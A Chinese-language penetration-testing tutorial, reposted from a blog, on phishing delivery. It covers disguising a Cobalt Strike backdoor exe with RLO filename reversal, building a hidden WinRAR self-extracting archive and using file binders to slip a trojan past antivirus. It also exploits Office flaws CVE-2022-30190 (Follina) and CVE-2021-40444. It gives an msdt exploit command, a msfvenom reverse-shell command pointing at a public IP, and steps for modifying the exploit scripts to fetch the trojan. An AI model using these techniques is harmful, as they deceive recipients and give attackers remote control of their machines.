154-钓鱼篇&Offfice-CVE漏洞&RLO隐藏&压缩包释放&免杀打包捆绑
#知识点：
1、文件名-RLO 伪装-后缀
2、压缩文件-自解压-运行
3、捆绑文件-打包加载-运行
4、Office 套件-漏洞钓鱼-CVE
#文件后缀-钓鱼伪装-RLO
cs生成一个exe后门
重命名为一个png反过来或者jpg反过来的名字
然后再g前面输入其他字符在g字符前面右键选择这个插入RLO
然后就会惊奇的发现名字反过来了，以png后缀结尾并且程序任然还是一个exe文件可以正常的上线
#压缩文件-自解压-释放执行
压缩两个文件为一个文件
使用到的压缩工具为winrar
WinRAR - 压缩软件 老牌压缩软件知名产品 经典装机软件之一
准备一个正常的exe安装程序，一个木马exe
选择两个exe右键
勾选
点击
填写解压路径，这里就是解压后文件会被解压到这里。
这里就是解压后运行什么东西，我这里选择先运行木马然后运行正常的程序
这里选择隐藏，一般解压不是有个进度条还会显示解压到哪个文件夹下面，选了这个就看不到了
再勾选这两个
然后确定就会生成一个文件，不过还是一个exe文件
可以把这个exe修改为winrar的样子，这样一来无论是外观还是点击后的内容都和winrar做的事情一样了
当然也可以直接把这个exe伪装为zip文件，用前面的RLO方式
点击这个zip直接丝滑上线，并且会自动运行正常的winrar安装包
然后在路径盘可以看到解压的两个文件
不过如果我右键选择解压到还是会自动解压出原本的两个文件，所以我觉得还是不要伪装为zip直接就是伪装为安装包就可以，再zip压缩一下更像了
#捆绑文件-打包加载-释放执行
使用文件捆绑器将两个文件捆绑为一个文件，宿主文件就选正常的winrar，捆绑文件就选木马
工具链接：夸克网盘分享
这个看着和上面那个好像差不多。
修改图标使用工具进行修改，直接拖上去就可以，修改完后可能不会立马变样系统有缓存改个名字就好了
工具链接：夸克网盘分享
有些杀软会对捆绑器进行识别拦截，所以选择捆绑器也是绕过杀软的一个步骤。视频中的另一个捆绑工具：夸克网盘分享
#Office 套件-CVE 漏洞-MSF&CS
office套件安装工具以及激活工链接：夸克网盘分享
-Microsoft MSDT CVE-2022-30190 代码执行
GitHub - JohnHammond/msdt-follina: Codebase to generate an msdt-follina payload
该漏洞首次发现在 2022 年 5 月 27 日，由白俄罗斯的一个 IP 地址上传。恶意文档从 Word 远程模板功能从远程 Web 服务器检索 HTML 文件， 通过 ms-msdt MSProtocol URI 方法来执行恶意 PowerShell 代码。感染过程利用 程序 msdt.exe，该程序用于运行各种疑难解答程序包。
此工具的恶意文档无需用户交互即可调用它。导致在宏被禁用的情况下，恶意文档依旧可 以使用 ms-msdt URI 执行任意 PowerShell 代码。
目前已知影响的版本为：
office 2021 Lts
office 2019
office 2016
Office 2013
Office ProPlus
Office 365
项目 GitHub - JohnHammond/msdt-follina: Codebase to generate an msdt-follina payload
使用代码自查是否存在漏洞，如果弹出计算器就是
msdt.exe /id PCWDiagnostic /skip force /param "IT_RebrowseForFile=? IT_LaunchMethod=ContextMenu IT_BrowseForFile=$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'Unicode.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'YwBhAGwAYwA='+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe"
使用工具安装了office套件2019,2021版本在虚拟机上面经过测试都没搞出存在漏洞的情况。所以无法复现了这里
原项目是会下载一个nc然后使用nc反弹，这里我们修改实现下载木马上线，所以需要修改一下内容
先cs生成一个exe的后门
在后门的目录下起个http服务，当然实战中需要在自己的vps来充当服务器
然后修改项目的follina.py的代码，在第111行处修改内容为本机的ip和8088端口，这个项目的实际作用也是在这里下载一个nc然后调用cmd去执行nc进行反弹。
MicroSoft MSHTML CVE-2021-40444 远程代码执行
影响:Windows 7/8/8.1/10,Windows Server 2008/2008R2/2012/2012R2/2016/2019/2022 等各个主流版本
利用项目 GitHub - lockedbyte/CVE-2021-40444: CVE-2021-40444 PoC
1、安装依赖:
apt-get install lcab（可能有的环境没有安装zip顺便把zip也安装一下后面要用到zip）
2、生成DLL:
msfvenom -p windows/meterpreter/reverse tcp lhost=47.94.236.117 lport=9999 -f dll>shell.dll 使用cs也可以
3、msf开启监听
4、生成文档
将dll放置到CVE的文件夹下面
python3 exploit.py generate shell.dll http://vpsip:10000
5、监听文档
python3 exploit.py host 10000
6、将生成当前文件夹的doc文档取出然后点击上线，msf或cs就会上线，监听10000端口会有访问的浏览数据记录
我这个也没有复现成功，步骤没有问题应该是虚拟机也不存在这个漏洞。。。这个日志中要出现一个word.cab的访问记录就对了
另外这两个CVE无法免杀，因为杀的是漏洞，还有一个CVE的漏洞太老了就没讲了。
原文地址：https://blog.csdn.net/qq_63855540/article/details/142419574
免责声明：本站文章内容转载自网络资源，如本站内容侵犯了原著者的合法权益，可联系本站删除。更多内容请关注自学内容网（zxcms.com）！